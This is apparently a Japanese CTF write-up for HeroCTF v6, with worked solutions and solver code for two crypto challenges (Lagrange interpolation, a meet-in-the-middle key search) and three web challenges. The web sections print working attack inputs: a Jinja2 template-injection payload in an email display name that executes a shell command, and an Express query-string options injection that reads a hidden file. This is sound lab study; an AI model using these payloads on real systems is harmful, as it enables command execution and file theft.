[crypto] Interpolation

以下のようなsageファイルが与えられる。

#!/usr/bin/sage
import hashlib
import re

with open("flag.txt", "rb") as f:
    FLAG = f.read()
    assert re.match(rb"Hero{[0-9a-zA-Z_]{90}}", FLAG)

F = FiniteField(2**256 - 189)
R = PolynomialRing(F, "x")
H = lambda n: int(hashlib.sha256(n).hexdigest(), 16)
C = lambda x: [H(x[i : i + 4]) for i in range(0, len(FLAG), 4)]

f = R(C(FLAG))

points = []
for _ in range(f.degree()):
    r = F.random_element()
    points.append([r, f(r)])
print(points)

flag = input(">").encode().ljust(len(FLAG))

g = R(C(flag))

for p in points:
    if g(p[0]) != p[1]:
        print("Wrong flag!")
        break
else:
    print("Congrats!")

何をしているかというと、フラグを4文字ずつに分けてsha256ハッシュにしたものを係数とした関数を準備して、その関数上の点がいくつか与えられるのでフラグを求めよと言う問題。

ラグランジュ補間

フラグはre.match(rb"Hero{[0-9a-zA-Z_]{90}}", FLAG)を満たす必要があるため、フラグの長さは96文字となる。これが4文字ずつに分かれるので、24個の係数が生成されることになる。この係数を $a_i$ とすると

$\displaystyle a_0 = sha256(\verb|"Hero"|) \\ a_1 = sha256(\verb|"{???"|) \\ ...\\ a_{23} = sha256(\verb|"???}"|) \\$

という感じになり、用意される関数は

$\displaystyle f(x) = a_0 + a_1 x + ... + a_{23} x^{23}$

という感じになる。この関数上で23個の点が与えられる。この時点で、かなりラグランジュ補間っぽさがあるのだが、問題はラグランジュ補間を行うのに点が1つ足りないことである。23次多項式であるため、24個の点が必要。ここで $a_0 = sha256(\verb|"Hero"|)$ の条件を活用する。 $a_0$ はsha256エンコードする文字列が全てわかっているので計算することが可能。これを使うことで関数の次数を1つ減らすことができる。

$\displaystyle \begin{eqnarray*} y &=& a_0 + a_1 x + ... + a_{23} x^{23} \\ y - a_0 &=& a_1 x + ... + a_{23} x^{23} \\ \frac{y - a_0}{x} &=& a_1 + ... + a_{23} x^{22} \end{eqnarray*}$

これは次数が減っているのか？という印象を受けるだろうが、これで与えられている関数上の点を $(x,y')=(x,\frac{y - a_0}{x})$ のように変換してやると、

$\displaystyle y' = a_1 + ... + a_{23} x^{22}$

となって22次多項式になる。あとは、ラグランジュ補間をすれば、 $a_1$ から $a_{22}$ までを復元することができる。

$a_i$ を文字列に戻す

このパートはそれほど難しくなく、4文字の文字列を全探索してハッシュ値が一致するものを採用すれば復元可能。sha256計算が重いので、 $O(|a| * |\verb|candidate_chars||^4)$ のように毎回全探索するのではなく、文字列とハッシュ値の辞書を前計算しておき、 $O(|a| + |\verb|candidate_chars||^4)$ にしておくと良い。

sageソルバー

from output import points
import hashlib
import sys

hash_dic = {}
dic = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_{}"
for c1 in dic:
    print(c1, file=sys.stderr)
    for c2 in dic:
        for c3 in dic:
            for c4 in dic:
                h = int(hashlib.sha256((c1 + c2 + c3 + c4).encode()).hexdigest(), 16)
                c = c1+c2+c3+c4
                hash_dic[h]=c

P = 115792089237316195423570985008687907853269984665640564039457584007913129639747 # 2**256 - 189
R.<x> = PolynomialRing(FiniteField(P))

H = lambda n: int(hashlib.sha256(n).hexdigest(), 16)
a0 = H(b"Hero")

points2 = []
for ps in points:
    x = ps[0]
    y = ps[1]

    y = (y - a0 + P) % P
    y = (y * pow(x, -1, P)) % P
    points2.append([ps[0], y])
f = R.lagrange_polynomial(points2)

print(f)
print(f.coefficients()[0])

for i in range(23):
    if f.coefficients()[i] in hash_dic:
        print(hash_dic[f.coefficients()[i]])

[crypto] Paranoia

from cryptography.hazmat.primitives.ciphers.algorithms import AES, SM4
from cryptography.hazmat.primitives.ciphers import Cipher, modes
import os


class Paranoia:
    def __init__(self, keys):
        self.keys = keys

    def __pad(self, data: bytes, bs: int) -> bytes:
        return data + (chr(bs - len(data) % bs) * (bs - len(data) % bs)).encode()

    def __encrypt(self, algorithm, data: bytes, key: bytes):
        cipher = Cipher(algorithm(key), modes.ECB())
        encryptor = cipher.encryptor()
        return encryptor.update(data) + encryptor.finalize()

    def encrypt(self, data: bytes):
        """
        🇨🇳 encryption to protect against the 🇺🇸 backdoor and
        🇺🇸 encryption to protect against the 🇨🇳 backdoor

        I'm a genius !
        """

        data = self.__pad(data, 16)
        data = self.__encrypt(AES, data, self.keys[0])
        data = self.__encrypt(SM4, data, self.keys[1])
        return data


with open("flag.txt", "rb") as f:
    flag = f.read()

keys = [os.urandom(16) for _ in range(2)]
paranoia = Paranoia(keys)

banner = b"I don't trust governments, thankfully I've found smart a way to keep my data secure."

print("pt_banner =", banner)
print("ct_banner =", paranoia.encrypt(banner))
print("enc_flag  =", paranoia.encrypt(flag))

# To comply with cryptography export regulations,
# 6 bytes = 2**48 bits, should be bruteforce-proof anyway
for n, k in enumerate(keys):
    print(f"k{n} = {k[3:]}")

以下のような暗号化コードが与えられる。以下のように暗号するプログラムで、1つの(plain,encrypted)の組と、flagを暗号化したものが与えられる。

                                                     
               key1            key2                  
                                                     
                │                │                   
             ┌──▼──┐          ┌──▼──┐                
             │     │          │     │                
   plain ───►│ AES ├── mid ──►│ SM4 ├───► encrypted  
             │     │          │     │                
             └─────┘          └─────┘

重要なのが、使われるkey1とkey2の先頭6bytes分を除いた部分も与えられるということ。6 bytesは2**48通り、つまり、2 * 10¹⁴通りということで競技プログラミングならアウトではあるが、もう少し時間があるCTFではまだ全探索できる範囲内。だが、key1とkey2を同時に全探索することはCTFでも時間が足りない。

半分全列挙

ここで半分全列挙的なアプローチが取れる。plainをAES暗号化してSM4暗号化した結果がencryptedと一致するかを確かめるのではなく、plainをAES暗号化した結果とencryptedをSM4復号化した結果が一致するかを確かめることにしよう。

まず、key1の未知部分を全探索して、plainをAES暗号化した結果とその時のkey1の辞書を作る。これで $2^{48}$ 通りかかる。つぎに、key2の未知部分を全探索して、encryptedをSM4復号化した結果を計算し、それと事前計算しておいた辞書にAES暗号化した結果とSM4復号化した結果が一致するようなものが無いかを探す。これも $2^{48}$ 通りの全探索で済む。（一致するようなものを探す際はdict型などを使おう）これで一致するものがあれば、plain + key1 - AES -> mid + key2 -SM4-> encryptedが見つかることになり、key1とkey2を特定できる。

特定できれば後はそれを使ってflagを暗号化したものを復号化すればフラグが手に入る。

pythonソルバー

from cryptography.hazmat.primitives.ciphers.algorithms import AES, SM4
from cryptography.hazmat.primitives.ciphers import Cipher, modes

def encrypt(algorithm, data: bytes, key: bytes):
    cipher = Cipher(algorithm(key), modes.ECB())
    encryptor = cipher.encryptor()
    return encryptor.update(data) + encryptor.finalize()

def decrypt(algorithm, data: bytes, key: bytes):
    cipher = Cipher(algorithm(key), modes.ECB())
    decryptor = cipher.decryptor()
    return decryptor.update(data) + decryptor.finalize()

pt_banner = b"I don't trust governments, thankfully I've found smart a way to keep my data secure."
ct_banner = b"\xd5\xae\x14\x9de\x86\x15\x88\xe0\xdc\xc7\x88{\xcfy\x81\x91\xbaH\xb6\x06\x02\xbey_0\xa5\x8a\xf6\x8b?\x9c\xc9\x92\xac\xdeb=@\x9bI\xeeY\xa0\x8d/o\xfa%)\xfb\xa2j\xd9N\xf7\xfd\xf6\xc2\x0b\xc3\xd2\xfc\te\x99\x9aIG\x01_\xb3\xf4\x0fG\xfb\x9f\xab\\\xe0\xcc\x92\xf5\xaf\xa2\xe6\xb0h\x7f}\x92O\xa6\x04\x92\x88"
enc_flag = b"\xaf\xe0\xb8h=_\xb0\xfbJ0\xe6l\x8c\xf2\xad\x14\xee\xccw\xe9\xff\xaa\xb2\xe9c\xa4\xa0\x95\x81\xb8\x03\x93\x7fg\x00v\xde\xba\xfe\xb92\x04\xed\xc4\xc7\x08\x8c\x96C\x97\x07\x1b\xe8~':\x91\x08\xcf\x9e\x81\x0b\x9b\x15"
k0 = b'C\xb0\xc0f\xf3\xa8\n\xff\x8e\x96g\x03"'
k1 = b"Q\x95\x8b@\xfbf\xba_\x9e\x84\xba\x1a7"

plain = pt_banner[:16]
encrypted = ct_banner[:16]

mid_cands = {}
for key_prefix in range(256*256*256):
    key0 = key_prefix.to_bytes(3, 'big') + k0
    mid = encrypt(AES, plain, key0)
    mid_cands[mid] = key0

for key_prefix in range(256*256*256):
    key1 = key_prefix.to_bytes(3, 'big') + k1
    mid = decrypt(SM4, encrypted, key1)
    if mid in mid_cands:
        key0 = mid_cands[mid]
        print(f"{key0=}")
        print(f"{key1=}")

        mid = decrypt(SM4, enc_flag, key1)
        flag = decrypt(AES, mid, key0)
        print(flag)
        exit(0)

[web] Jinjatic

ソースコード有り。/getflagの実行結果が得られればフラグが手に入る。攻撃箇所は以下。

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

メールアドレスとして正しい、かつ、jinja2向けのSSTIペイロードを送り込めば良い。調べるとpython-email-validatorが使われているようだ。

"DisplayName" <me@example.com>

こういう便利構文が通るので、

"{{lipsum.__globals__.os.popen('/getflag').read()}}" <me@example.com>

これでフラグが手に入る。

[web] PrYzes

ソースコード有り。pythonで書かれたサイトが与えられる。

app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode("utf-8"))
    return sha256_hash.hexdigest()

@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")

@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
    data = request.json
    date_str = data.get("date")
    received_signature = request.headers.get("X-Signature")

    json_data = json.dumps(data)
    expected_signature = compute_sha256(json_data)

    if not received_signature == expected_signature:
        return jsonify({"error": "Invalid signature"}), 400
    
    if not date_str:
        return jsonify({"error": "Date is missing"}), 400

    try:
        date_obj = datetime.strptime(date_str, "%d/%m/%Y")
        if date_obj.year >= 2100:
            return jsonify({"message": FLAG}), 200

        return jsonify({"error": "Please come back later..."}), 400
    except ValueError:
        return jsonify({"error": "Invalid date format"}), 400

署名付きでデータを受け取っており、jsonのdataに2100年以降の日付を入力できればフラグが手に入る。index.htmlを見るとtext/pythonで送信スクリプトが書かれているので真似して2100以降の日付を送ろう。

import hashlib
import json
from datetime import datetime
import requests

def on_complete(req):
    json_data = json.loads(req.text)
    if req.status == 200:
        alert(json_data.get("message"))
    else:
        alert(f"Error: {json_data.get('error')}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode('utf-8'))
    return sha256_hash.hexdigest()

def get_current_date():
    current_date = datetime.now().strftime("%d/%m/%Y")
    return current_date

data = {
    "date": "27/10/9999"
}
json_data = json.dumps(data)
signature = compute_sha256(json_data)

print(requests.post('http://[redacted]/api/prizes', headers={
    'Content-Type': 'application/json',
    'X-Signature': signature
}, data=json_data).text)

[web] SampleHub

ソースコード有り。/.flag.txtが取得できればフラグ獲得。メインのソースコードは非常に簡潔。

const express = require("express");
const path    = require("path");

const app  = express();
const PORT = 3000;

app.use(express.static(path.join(__dirname, "public")));
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));

app.get("/", (req, res) => {
    res.render("index");
});

process.chdir(path.join(__dirname, "samples"));
app.get("/download/:file", (req, res) => {
    const file = path.basename(req.params.file);
    res.download(file, req.query.filename || "sample.png", (err) => {
        if (err) {
            res.status(404).send(`File "${file}" not found`);
        }
    });
});


app.listen(PORT, () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});

パストラバーサルを狙うがうまくいかない。path.basenameやres.downloadの第一引数などを人力fuzzingしてみるが刺さらない。観点が違っていて、res.downloadの第二引数に注目するのが正解。

res.downloadを見ると、optionsという引数があり、その表を見てみるとdotfilesという欄がある。通常だとignoreとなっており、今回取得したい.flag.txtは普通は取得できないようだ。ということは何とかしてこのoptionsを埋め込む必要があるのだが、filenameに関して型が指定されていないので辞書型を差し込むことができる。これでパスのルートディレクトリを指定できるrootも指定できるので、以下のようにリクエストを送ってやると、optionsとしてrootとdotfilesを差し込むことができ、フラグが手に入る。

GET /download/.flag.txt?filename[root]=/&filename[dotfiles]=allow HTTP/1.1
Host: [redacted]
Connection: keep-alive

はまやんはまやんはまやん

hamayanhamayan's blog

HeroCTF v6 Writeups